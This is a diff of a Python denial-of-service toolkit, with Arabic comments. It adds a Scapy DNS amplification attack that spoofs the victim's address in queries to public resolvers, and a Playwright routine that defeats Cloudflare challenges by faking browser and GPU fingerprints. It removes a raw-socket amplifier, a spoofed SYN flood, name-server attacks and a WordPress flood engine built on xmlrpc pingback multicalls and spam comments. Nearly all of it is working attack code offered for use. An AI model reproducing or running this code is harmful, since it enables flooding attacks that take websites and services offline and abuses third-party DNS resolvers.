Update 1.py

1.py

@@ -24,13 +24,6 @@ try:
 except Exception:
     pass
 
-try:
-    import cloudscraper
-    CLOUDSCRAPER_AVAILABLE = True
-except ImportError:
-    CLOUDSCRAPER_AVAILABLE = False
-    print("[!] cloudscraper not installed. Run: pip install cloudscraper")
-
 required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
 if platform.system() == "Windows":
     try:
@@ -1666,115 +1659,27 @@ class TCPFingerprinter:
         return sent
 
 
-def generate_ip() -> str:
-    return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
-
-
-def ip_checksum(header: bytes) -> int:
-    if len(header) % 2:
-        header += b"\x00"
-    total = sum(struct.unpack('!%dH' % (len(header) // 2), header))
-    total = (total >> 16) + (total & 0xFFFF)
-    total += total >> 16
-    return (~total) & 0xFFFF
+def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000):
+    """هجوم تضخيم DNS (يتطلب صلاحيات Admin لـ Spoofing)"""
+    if not SCAPY_AVAILABLE:
+        print("[!] Scapy missing for DNS amplification")
+        return
+    from scapy.all import IP, UDP, DNS, DNSQR, send
 
+    resolvers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168"]
+    domains = ["isc.org", "google.com", "microsoft.com", "facebook.com", "cloudflare.com"]
 
-class DarkAmplifier:
-    def __init__(self, target_ip: str, target_port: int = 53, resolver_file: str = None):
-        try:
-            self.target_ip = socket.gethostbyname(target_ip)
-        except Exception:
-            self.target_ip = target_ip
-        self.target_port = target_port
-        self.resolvers = []
-        self.resolver_file = resolver_file
-        if resolver_file and os.path.isfile(resolver_file):
-            self.load_resolvers_from_file(resolver_file)
-
-    def load_resolvers_from_file(self, filepath: str):
+    sent = 0
+    for _ in range(count):
         try:
-            with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
-                self.resolvers = [line.strip() for line in f if line.strip() and not line.startswith('#')]
+            pkt = IP(src=target_ip, dst=random.choice(resolvers)) / \
+                  UDP(sport=random.randint(1024, 65535), dport=target_port) / \
+                  DNS(rd=1, qd=DNSQR(qname=random.choice(domains), qtype="ANY"))
+            send(pkt, verbose=False)
+            sent += 1
         except Exception:
-            self.resolvers = []
-
-    def dns_amplification(self, packet_count: int, resolver_list=None):
-        resolvers = resolver_list or self.resolvers or [
-            "8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168",
-            "8.8.4.4", "149.112.112.112", "94.140.14.14", "64.6.64.6", "77.88.8.8"
-        ]
-        if not resolvers:
-            raise ValueError("No resolvers available for DNS amplification.")
-
-        dns_query = (
-            b'\x00\x00\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00' +
-            b'\x07' + b'example' + b'\x03' + b'com' + b'\x00' +
-            b'\x00\xff\x00\x01'
-        )
-        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
-        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-
-        for _ in range(packet_count):
-            src_ip = generate_ip()
-            ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, 0,
-                                    socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
-            checksum_value = ip_checksum(ip_header)
-            ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 1500, 0x4000, 0, 64, 17, checksum_value,
-                                    socket.inet_aton(src_ip), socket.inet_aton(self.target_ip))
-            udp_header = struct.pack('!HHHH', random.randint(1024, 65535), 53, len(dns_query) + 8, 0)
-            packet = ip_header + udp_header + dns_query
-            try:
-                sock.sendto(packet, (random.choice(resolvers), 53))
-            except Exception:
-                pass
-
-
-def syn_volcano(host: str, port: int, duration: int):
-    socks = []
-    for _ in range(100):
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
-            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-            socks.append(s)
-        except PermissionError:
-            break
-    if not socks:
-        return
-
-    end = time.time() + duration
-    while time.time() < end:
-        for s in socks:
-            ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 40, 0, random.randint(1, 10), 6, 0,
-                                    socket.inet_aton(generate_ip()), socket.inet_aton(host))
-            tcp_header = struct.pack('!HHLLBBHHH', random.randint(1, 65535), port, 0, 0, 0x50, 0x02, 65535, 0, 0)
-            try:
-                s.sendto(ip_header + tcp_header, (host, port))
-            except Exception:
-                pass
-
-
-def get_ns_servers(domain: str):
-    try:
-        import dns.resolver
-        answers = dns.resolver.resolve(domain, 'NS')
-        return [str(r).rstrip('.') for r in answers]
-    except Exception:
-        return []
-
-
-def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000, resolver_list=None):
-    """هجوم تضخيم DNS على مستوى Raw Socket (يتطلب صلاحيات Admin)."""
-    amplifier = DarkAmplifier(target_ip, target_port)
-    if resolver_list:
-        amplifier.resolvers = resolver_list
-    try:
-        amplifier.dns_amplification(count, resolver_list)
-    except PermissionError as e:
-        print(f"[!] DNS amplification requires Admin raw socket privileges: {e}")
-    except Exception as exc:
-        print(f"[!] DNS amplification failed: {exc}")
-    else:
-        print(f"[+] DNS Amplification launched against {target_ip}")
+            pass
+    print(f"[+] DNS Amplification sent {sent} spoofed packets to {target_ip}")
 
 class VPNRotator:
     WARP_CLI_PATHS = [
@@ -1849,7 +1754,171 @@ class VPNRotator:
 
 
 def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
-    return {}
+    """
+    حل تحدي Cloudflare باستخدام Playwright مع تقنيات تخفي متقدمة.
+    ترجع كوكيز cf_clearance وUser-Agent المستخدم.
+    """
+    if not PLAYWRIGHT_AVAILABLE:
+        return {}
+
+    # استخدام lock لتجنب تشغيل عدة متصفحات في نفس الوقت (عند استخدام تعدد الخيوط)
+    if not hasattr(get_playwright_clearance, "_lock"):
+        get_playwright_clearance._lock = threading.Lock()
+
+    # قفل لمنع تنافس Playwright على الموارد
+    with get_playwright_clearance._lock:
+        try:
+            from playwright.sync_api import sync_playwright
+        except ImportError:
+            return {}
+
+        result = {}
+        try:
+            with sync_playwright() as p:
+                # إعدادات المتصفح للتخفي
+                browser = p.chromium.launch(
+                    headless=True,
+                    args=[
+                        '--disable-blink-features=AutomationControlled',
+                        '--disable-dev-shm-usage',
+                        '--no-sandbox',
+                        '--disable-setuid-sandbox',
+                        '--disable-web-security',
+                        '--disable-features=IsolateOrigins,site-per-process',
+                        '--disable-sync',
+                        '--disable-default-apps',
+                        '--disable-extensions',
+                        '--disable-component-extensions-with-background-pages',
+                        '--disable-client-side-phishing-detection',
+                        '--disable-crash-reporter',
+                        '--disable-background-timer-throttling',
+                        '--disable-backgrounding-occluded-windows',
+                        '--disable-renderer-backgrounding',
+                        '--disable-field-trial-config',
+                        '--disable-ipc-flooding-protection',
+                        '--disable-popup-blocking',
+                        '--disable-prompt-on-repost',
+                        '--disable-hang-monitor',
+                        '--disable-back-forward-cache',
+                        '--disable-features=BackForwardCache',
+                        '--disable-background-networking',
+                        '--disable-component-update',
+                        '--metrics-recording-only',
+                        '--disable-breakpad',
+                        '--mute-audio',
+                        '--no-default-browser-check',
+                        '--no-first-run',
+                        '--disable-boot-animation',
+                        '--disable-logging',
+                        '--remote-debugging-port=0',
+                        '--window-size=1920,1080',
+                    ]
+                )
+
+                # سياق المتصفح مع إعدادات وكيل (إن وجد)
+                context_options = {
+                    'viewport': {'width': 1920, 'height': 1080},
+                    'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
+                    'locale': 'en-US',
+                    'timezone_id': 'America/New_York',
+                    'permissions': ['geolocation'],
+                    'device_scale_factor': 1,
+                    'color_scheme': 'light',
+                    'extra_http_headers': {
+                        'Accept-Language': 'en-US,en;q=0.9',
+                        'Accept-Encoding': 'gzip, deflate, br',
+                        'Sec-Ch-Ua': '"Chromium";v="126", "Not=A?Brand";v="99", "Google Chrome";v="126"',
+                        'Sec-Ch-Ua-Mobile': '?0',
+                        'Sec-Ch-Ua-Platform': '"Windows"',
+                    }
+                }
+
+                if identity and getattr(identity, 'proxy', None):
+                    context_options['proxy'] = {'server': identity.proxy}
+
+                context = browser.new_context(**context_options)
+
+                # حقن سكربت التخفي الإضافي (لإخفاء webdriver و vm)
+                context.add_init_script("""
+                    Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
+                    Object.defineProperty(navigator, 'plugins', {get: () => [1,2,3,4,5]});
+                    Object.defineProperty(navigator, 'languages', {get: () => ['en-US', 'en']});
+                    window.chrome = { runtime: {} };
+                    // إخفاء بصمة الـ Virtual Machine
+                    const originalGetParameter = WebGLRenderingContext.prototype.getParameter;
+                    WebGLRenderingContext.prototype.getParameter = function(parameter) {
+                        if (parameter === 37445) return 'Intel Inc.';
+                        if (parameter === 37446) return 'Intel Iris OpenGL Engine';
+                        if (parameter === 3415) return 'Google Inc. (NVIDIA)';
+                        return originalGetParameter(parameter);
+                    };
+                    // تزويغ Canvas Fingerprint
+                    const originalToDataURL = HTMLCanvasElement.prototype.toDataURL;
+                    HTMLCanvasElement.prototype.toDataURL = function(type) {
+                        if (type === 'image/png') {
+                            const context = this.getContext('2d');
+                            const imageData = context.getImageData(0, 0, this.width, this.height);
+                            for (let i = 0; i < imageData.data.length; i += 4) {
+                                imageData.data[i] = Math.min(255, imageData.data[i] + Math.floor(Math.random() * 2));
+                            }
+                            context.putImageData(imageData, 0, 0);
+                        }
+                        return originalToDataURL.apply(this, arguments);
+                    };
+                """)
+
+                page = context.new_page()
+
+                # محاكاة حركة الفأرة والتمرير
+                page.mouse.move(random.randint(100, 500), random.randint(100, 500))
+                page.mouse.wheel(0, random.randint(100, 300))
+                page.wait_for_timeout(random.randint(500, 1500))
+
+                # تحميل الصفحة (زيادة المهلة لضمان حل التحدي)
+                page.goto(url, wait_until="networkidle", timeout=60000)
+
+                # الانتظار حتى يختفي تحدي Cloudflare (إن وجد)
+                try:
+                    page.wait_for_selector("#challenge-running", state="hidden", timeout=30000)
+                except Exception:
+                    pass
+
+                # مزيد من التمرير
+                for _ in range(random.randint(2, 5)):
+                    page.mouse.wheel(0, random.randint(200, 600))
+                    page.wait_for_timeout(random.randint(200, 500))
+
+                # جلب الكوكيز بعد حل التحدي
+                cookies = context.cookies()
+                cookie_dict = {c['name']: c['value'] for c in cookies}
+                ua = context_options['user_agent']
+
+                if 'cf_clearance' in cookie_dict and identity and hasattr(identity, 'cookie_jar'):
+                    try:
+                        for name, value in cookie_dict.items():
+                            cookie = http.cookiejar.Cookie(
+                                version=0, name=name, value=value,
+                                port=None, port_specified=False,
+                                domain='', domain_specified=False, domain_initial_dot=False,
+                                path='/', path_specified=True, secure=False,
+                                expires=None, discard=True, comment=None, comment_url=None, rest={}
+                            )
+                            identity.cookie_jar.set_cookie(cookie)
+                    except Exception:
+                        pass
+
+                browser.close()
+
+                if 'cf_clearance' in cookie_dict:
+                    result = {'cookies': cookie_dict, 'ua': ua}
+                else:
+                    pass
+
+        except Exception as e:
+            # في حالة الخطأ، نسجل ولكن نستمر
+            print(f"[!] Playwright clearance error: {e}")
+
+        return result
 
 # ============================================================================
 # دوال مساعدة لـ HTTP والهجمات الكلاسيكية
@@ -2810,90 +2879,54 @@ class OptimizedConnectionPool:
 
 
 class EnhancedPlaywrightBypass:
+    """Improved Playwright bypass with human-like interactions."""
+
     @staticmethod
-    def solve_js_challenge(url: str, headless: bool = False, timeout: int = 120) -> dict:
+    def solve_js_challenge(url: str, headless: bool = False) -> dict:
         result = {"headers": {}, "cookie_header": "", "content": ""}
         try:
-            from playwright.sync_api import sync_playwright, TimeoutError as PlaywrightTimeout
+            from playwright.sync_api import sync_playwright
+
             with sync_playwright() as p:
-                browser = p.chromium.launch(
-                    headless=headless,
-                    args=["--disable-blink-features=AutomationControlled"]
-                )
-                context = browser.new_context(
-                    user_agent=random.choice(USER_AGENTS),
-                    locale="en-US,en;q=0.9",
-                    viewport={"width": 1366, "height": 768}
-                )
+                browser = p.chromium.launch(headless=headless)
+                device = random.choice([
+                    p.devices["Desktop Chrome"],
+                    p.devices["Desktop Firefox"],
+                    p.devices["iPhone 13"],
+                ])
+
+                context = browser.new_context(**device)
                 page = context.new_page()
-                page.add_init_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")
-
-                print("[JS] Opening browser. Please solve the Cloudflare challenge manually if it appears...")
-                page.goto(url, wait_until="domcontentloaded", timeout=timeout * 1000)
-
+                page.set_viewport_size({"width": random.randint(1366, 1920), "height": random.randint(768, 1080)})
+                page.goto(url, wait_until="networkidle", timeout=30000)
+                time.sleep(random.uniform(1, 3))
+                page.mouse.move(random.randint(100, 500), random.randint(100, 500))
+                time.sleep(random.uniform(0.5, 2))
                 try:
-                    page.wait_for_selector("#challenge-stage", state="hidden", timeout=30000)
+                    page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
                 except Exception:
                     pass
-
-                time.sleep(3)
-
+                time.sleep(random.uniform(2, 5))
+                result["content"] = page.content()
+                result["headers"] = {
+                    "User-Agent": device.get("user_agent", random.choice(USER_AGENTS)),
+                    "Accept-Language": device.get("locale", "en-US,en;q=0.9"),
+                    "Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
+                    "Accept-Encoding": "gzip, deflate, br",
+                    "Upgrade-Insecure-Requests": "1",
+                    "Sec-CH-UA": device.get("user_agent", "\"Chromium\";v=\"124\""),
+                    "Sec-CH-UA-Mobile": device.get("mobile", "?0"),
+                    "Sec-CH-UA-Platform": device.get("platform", "Windows"),
+                }
                 cookies = context.cookies()
-                cf_clearance = next((c["value"] for c in cookies if c["name"] == "cf_clearance"), "")
-                cf_bm = next((c["value"] for c in cookies if c["name"] == "__cf_bm"), "")
-
-                if cf_clearance:
-                    result["cookie_header"] = f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
-                    print("[JS] cf_clearance obtained successfully!")
-                else:
-                    print("[JS] No cf_clearance found. Check if you solved the challenge.")
-
+                if cookies:
+                    result["cookie_header"] = "; ".join(f"{c['name']}={c['value']}" for c in cookies if c.get('name') and c.get('value'))
                 browser.close()
-        except Exception as e:
-            print(f"[JS] Error: {e}")
+        except Exception:
+            pass
         return result
 
 
-def get_cf_clearance(url: str, headless: bool = False) -> str:
-    result = EnhancedPlaywrightBypass.solve_js_challenge(url, headless=headless)
-    return result.get("cookie_header", "")
-
-
-def get_cloudscraper_cookies(url: str) -> str:
-    """الحصول على cf_clearance باستخدام cloudscraper (أسرع وأقوى من Playwright)"""
-    if not CLOUDSCRAPER_AVAILABLE:
-        return ""
-    try:
-        scraper = cloudscraper.create_scraper(
-            browser={
-                'browser': 'chrome',
-                'platform': 'windows',
-                'desktop': True,
-                'mobile': False
-            },
-            interpreter='python'
-        )
-        headers = {
-            'User-Agent': random.choice(USER_AGENTS),
-            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
-            'Accept-Language': 'en-US,en;q=0.9',
-            'Accept-Encoding': 'gzip, deflate, br',
-            'Connection': 'keep-alive',
-        }
-        resp = scraper.get(url, headers=headers, timeout=30)
-
-        if resp.status_code == 200:
-            cookies = resp.cookies.get_dict()
-            cf_clearance = cookies.get('cf_clearance', '')
-            cf_bm = cookies.get('__cf_bm', '')
-            if cf_clearance:
-                print(f"[JS] cloudscraper got cf_clearance: {cf_clearance[:20]}...")
-                return f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
-        return ""
-    except Exception as e:
-        print(f"[JS] cloudscraper error: {e}")
-        return ""
-
 
 def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
     mode_name = "http-app" if app_mode else "http"
@@ -3399,82 +3432,6 @@ def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False
 
 
 
-class WordPressBypassEngine:
-    """محرك متخصص لاختراق ووردبريس عبر ثغرات منطقية متعددة"""
-
-    def __init__(self, target_host):
-        self.host = target_host
-        self.scheme = "https"
-        self.last_post_id = random.randint(1, 500)
-        self.attack_index = 0
-        self.endpoints = [
-            self._xmlrpc_attack,
-            self._rest_api_attack,
-            self._ajax_attack,
-            self._comment_attack,
-        ]
-
-    def get_next_payload(self):
-        """دور بين 4 أنواع هجوم مختلفة لتجنب النمطية"""
-        self.attack_index = (self.attack_index + 1) % len(self.endpoints)
-        return self.endpoints[self.attack_index]()
-
-    def _xmlrpc_attack(self):
-        """XML-RPC Multipayload - يستهلك CPU ويصعب تحليله"""
-        path = "/xmlrpc.php"
-        multicall = []
-        for _ in range(20):
-            multicall.append({
-                "methodName": "pingback.ping",
-                "params": [
-                    f"https://{random.choice(['google.com', 'bing.com', 'example.com'])}",
-                    f"{self.scheme}://{self.host}/{random.randint(1,999)}"
-                ]
-            })
-        payload = f"""<?xml version="1.0"?>
-<methodCall>
-  <methodName>system.multicall</methodName>
-  <params><param><value><array><data>
-    {''.join([f'<value><struct><member><name>methodName</name><value><string>{m["methodName"]}</string></value></member><member><name>params</name><value><array><data><value><string>{m["params"][0]}</string></value><value><string>{m["params"][1]}</string></value></data></array></value></member></struct></value>' for m in multicall])}
-  </data></array></value></param></params>
-</methodCall>"""
-        return path, payload, "text/xml"
-
-    def _rest_api_attack(self):
-        """REST API - يستهلك قاعدة البيانات"""
-        path = f"/wp-json/wp/v2/posts?per_page={random.randint(50,100)}&page={random.randint(1,20)}"
-        return path, "", "application/json"
-
-    def _ajax_attack(self):
-        """Admin AJAX - يحاكي طلبات حقيقية من الواجهة"""
-        actions = ["wp_ajax_nopriv_", "heartbeat", "query-attachments", "get-comments"]
-        action = random.choice(actions) + str(random.randint(1, 999))
-        path = f"/wp-admin/admin-ajax.php?action={action}&_wpnonce={hashlib.md5(str(random.random()).encode()).hexdigest()[:10]}"
-        payload = f"post_id={random.randint(1,500)}&comment_parent=0&comment={''.join(random.choices(['Nice','Great','Thanks','Awesome','Informative'], k=random.randint(3,8)))}"
-        return path, payload, "application/x-www-form-urlencoded"
-
-    def _comment_attack(self):
-        """تعليق وهمي مع محاولة تخمين الـ Nonce"""
-        path = "/wp-comments-post.php"
-        self.last_post_id = random.randint(1, 500)
-        comment_text = ' '.join(random.choices([
-            'Great article!', 'Very informative.', 'I totally agree with your point.',
-            'Thanks for sharing this.', 'This is really helpful.', 'Interesting perspective.',
-            'Well written!', 'Looking forward to more content.', 'I have a question about this.'
-        ], k=random.randint(2,5)))
-
-        payload = urllib.parse.urlencode({
-            'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara', 'John', 'Emma', 'Liam']),
-            'email': f'user_{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com","outlook.com"])}',
-            'url': f'https://{random.choice(["example.com","blogger.com","wordpress.org"])}',
-            'comment': comment_text,
-            'comment_post_ID': str(self.last_post_id),
-            'comment_parent': '0',
-            'submit': 'Post Comment'
-        })
-        return path, payload, "application/x-www-form-urlencoded"
-
-
 class UltimateIntegratedEngine:
     def __init__(self, target: str, threads: int = 1000, duration: int = 0,
                  use_identities: bool = True, use_human_timing: bool = True,
@@ -3497,7 +3454,6 @@ class UltimateIntegratedEngine:
         self.max_requests = max(0, total_requests)
         self.max_load = max_load
         self.attack_mode = attack_mode.lower()
-        self.wordpress_mode = 'wp-' in target or '/feed/' in target or 'wp-json' in target
         self.running = False
         self.stop_requested = False
         self.stats = defaultdict(int)
@@ -3525,12 +3481,6 @@ class UltimateIntegratedEngine:
         self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
         self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
         self.use_http2 = use_http2
-        self.dns_amplify = kwargs.get('dns_amplify', False)
-        self.ns_attack = kwargs.get('ns_attack', False)
-        self.impersonate_list = ["chrome124", "chrome120", "firefox125", "safari17_0"]
-        self.current_impersonate = random.choice(self.impersonate_list)
-        self._cf_cookie = ""
-        self.request_count = 0
         self.vpn_rotator = None
         if vpn_mode and vpn_mode != "System Default":
             self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
@@ -3581,15 +3531,9 @@ class UltimateIntegratedEngine:
         timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
         self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
         if self.use_cffi and CURL_CFFI_AVAILABLE:
-            for _ in range(10):
-                for imp in self.impersonate_list:
-                    self.cffi_clients.append(
-                        cffi_requests.AsyncSession(
-                            impersonate=imp,
-                            verify=False,
-                            timeout=8
-                        )
-                    )
+            for _ in range(10): # Create 50 clients to prevent thread bottleneck and reduce latency
+                for imp in ["chrome124", "chrome120", "chrome116", "edge101", "safari17_0"]:
+                    self.cffi_clients.append(cffi_requests.AsyncSession(impersonate=imp, verify=False, timeout=8))
         await self._create_httpx_client()
     async def _create_httpx_client(self):
         if not HTTPX_AVAILABLE or not self.use_http2:
@@ -3604,117 +3548,9 @@ class UltimateIntegratedEngine:
         self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
         self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
 
-    async def _browser_worker(self, worker_id: int):
-        """Worker يستخدم متصفح حقيقي لإرسال الطلبات"""
-        from playwright.async_api import async_playwright
-
-        async with async_playwright() as p:
-            browser = await p.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled"])
-            context = await browser.new_context(
-                user_agent=random.choice(USER_AGENTS),
-                viewport={"width": random.randint(1366, 1920), "height": random.randint(768, 1080)},
-                locale="en-US,en;q=0.9"
-            )
-            page = await context.new_page()
-
-            await page.goto(f"https://{self.host}/", wait_until="networkidle")
-            await page.wait_for_selector("body :not(script)", state="visible", timeout=30000)
-
-            cookies = await context.cookies()
-            cf_clearance = next((c["value"] for c in cookies if c["name"] == "cf_clearance"), "")
-            if cf_clearance:
-                self._log("[Browser] cf_clearance captured.", "SUCCESS")
-
-            while self.running and not self.stop_requested:
-                try:
-                    comment_data = {
-                        'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara']),
-                        'email': f'user{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com"])}',
-                        'comment': ' '.join(random.choices(['Nice post!', 'Thanks for sharing.', 'Great content!'], k=2)),
-                        'comment_post_ID': str(random.randint(1, 500)),
-                        'submit': 'Post Comment'
-                    }
-
-                    await page.evaluate(f"""
-                        fetch('https://{self.host}/wp-comments-post.php', {{
-                            method: 'POST',
-                            headers: {{
-                                'Content-Type': 'application/x-www-form-urlencoded',
-                                'Referer': 'https://{self.host}/',
-                                'Origin': 'https://{self.host}/'
-                            }},
-                            body: new URLSearchParams({comment_data})
-                        }})
-                    """)
-
-                    with self.lock:
-                        self.stats['total'] += 1
-
-                    await asyncio.sleep(random.uniform(0.5, 2.0))
-                except Exception as e:
-                    self._log(f"[Browser] Worker {worker_id} error: {e}", "ERROR")
-                    await asyncio.sleep(5)
-
-            await browser.close()
-
     async def _attack_worker(self, worker_id: int):
-        try:
-            if worker_id == 0:
-                try:
-                    ip = socket.gethostbyname(self.host)
-                    self._log(f"[DNS] Resolved {self.host} -> {ip}", "INFO")
-                except Exception as e:
-                    self._log(f"[DNS] Resolution failed: {e}. Trying fallback...", "ERROR")
-                    import subprocess
-                    try:
-                        ip = subprocess.check_output(["nslookup", self.host]).decode().split()[-1]
-                        self._log(f"[DNS] Fallback resolved to {ip}", "INFO")
-                    except Exception:
-                        self._log("[DNS] FATAL: Cannot resolve host. Attack will fail.", "ERROR")
-                        self.stop_requested = True
-                        return
-
-            if worker_id == 0 and self.use_js_bypass:
-                self._log("[JS] Trying cloudscraper for clearance...", "INFO")
-                cookie = get_cloudscraper_cookies(self.target)
-                if cookie:
-                    self._cf_cookie = cookie
-                    self._log("[JS] ✅ CLEARANCE OBTAINED via cloudscraper!", "SUCCESS")
-                    try:
-                        test_headers = {"Cookie": cookie, "User-Agent": random.choice(USER_AGENTS)}
-                        async with aiohttp.ClientSession() as session:
-                            async with session.get(self.target, headers=test_headers, ssl=False, timeout=10) as resp:
-                                self._log(f"[JS] Test request returned: {resp.status}", "INFO")
-                    except Exception:
-                        pass
-                else:
-                    self._log("[JS] cloudscraper failed. Trying Playwright fallback...", "WARNING")
-                    retries = 0
-                    while retries < 3 and not hasattr(self, '_cf_cookie'):
-                        try:
-                            result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
-                            if result.get("cookie_header"):
-                                self._cf_cookie = result["cookie_header"]
-                                self._log("[JS] ✅ CLEARANCE OBTAINED via Playwright!", "SUCCESS")
-                                break
-                            else:
-                                retries += 1
-                                self._log(f"[JS] Retry {retries}/3...", "WARNING")
-                                await asyncio.sleep(5)
-                        except Exception as e:
-                            self._log(f"[JS] Error: {e}", "ERROR")
-                            retries += 1
-                            await asyncio.sleep(5)
-
-                    if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
-                        self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
-
-            while self.running and not self.stop_requested:
-                with self.lock:
-                    self.request_count += 1
-                    if self.request_count % 100 == 0:
-                        self.current_impersonate = random.choice(self.impersonate_list)
-
+        while self.running and not self.stop_requested:
+            try:
                 identity = None
                 if self.identity_pool:
                     identity = self.identity_pool.get_identity()
@@ -3731,8 +3567,6 @@ class UltimateIntegratedEngine:
                     for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
                         headers.pop(h, None)
                 headers.update(self._get_platform_headers())
-                if hasattr(self, '_cf_cookie') and self._cf_cookie:
-                    headers["Cookie"] = self._cf_cookie
                 if "Host" in headers:
                     del headers["Host"]
                 if "host" in headers:
@@ -3746,11 +3580,7 @@ class UltimateIntegratedEngine:
                     target_host = self.host
                     target_port = self.port
                     if self.attack_mode == "tcp_syn":
-                        duration_seconds = max(10, self.duration or 10)
-                        if IS_ADMIN:
-                            threading.Thread(target=syn_volcano, args=(target_host, target_port, duration_seconds), daemon=True).start()
-                        else:
-                            threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=duration_seconds)), daemon=True).start()
+                        threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
                     elif self.attack_mode == "mine":
                         threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
                     elif self.attack_mode == "vse":
@@ -3766,64 +3596,23 @@ class UltimateIntegratedEngine:
                     await asyncio.sleep(0.001)
                     continue
                 path = self.path
+                if self.random_query:
+                    if '?' in path:
+                        path += f"&_{random.randint(1,999999)}"
+                    else:
+                        path += f"?_{random.randint(1,999999)}"
                 method = self.http_method
                 data = None
-                if self.max_load:
-                    if self.dns_amplify and worker_id % 15 == 0 and IS_ADMIN:
-                        threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 200), daemon=True).start()
-                    if self.ns_attack and worker_id == 0 and random.random() < 0.05:
-                        ns_servers = get_ns_servers(self.host)
-                        for ns_host in ns_servers:
-                            try:
-                                ns_ip = socket.gethostbyname(ns_host)
-                                threading.Thread(target=dns_amplification_attack, args=(ns_ip, 53, 150), daemon=True).start()
-                            except Exception:
-                                pass
-                    if self.wordpress_mode:
-                        if not hasattr(self, 'wp_engine'):
-                            self.wp_engine = WordPressBypassEngine(self.host)
-                        wp_path, wp_payload, content_type = self.wp_engine.get_next_payload()
-                        path = wp_path
-                        if 'xmlrpc' in path:
-                            data = wp_payload.encode('utf-8')
-                            headers["Content-Type"] = "text/xml"
-                            headers["Content-Length"] = str(len(data))
-                        elif 'admin-ajax' in path:
-                            data = wp_payload.encode('utf-8')
-                            headers["Content-Type"] = "application/x-www-form-urlencoded"
-                            headers["X-Requested-With"] = "XMLHttpRequest"
-                            headers["Referer"] = f"{self.scheme}://{self.host}/"
-                        elif 'wp-json' in path:
-                            data = None
-                            headers["Accept"] = "application/json, text/javascript, */*; q=0.01"
-                            headers["Referer"] = f"{self.scheme}://{self.host}/"
-                        else:
-                            data = wp_payload.encode('utf-8')
-                            headers["Content-Type"] = "application/x-www-form-urlencoded"
-                            headers["Referer"] = f"{self.scheme}://{self.host}/"
-                            headers["Origin"] = f"{self.scheme}://{self.host}"
-                    else:
-                        if self.random_query:
-                            if '?' in path:
-                                path += f"&_{random.randint(1,999999)}"
-                            else:
-                                path += f"?_{random.randint(1,999999)}"
-                        if self.http_method == "POST":
-                            body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
-                            headers["Content-Type"] = "application/json"
-                            data = body.encode('utf-8')
-                        else:
-                            data = None
-                else:
-                    if self.random_query:
-                        if '?' in path:
-                            path += f"&_{random.randint(1,999999)}"
-                        else:
-                            path += f"?_{random.randint(1,999999)}"
-                    if self.http_method == "POST":
-                        body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
-                        headers["Content-Type"] = "application/json"
-                        data = body.encode('utf-8')
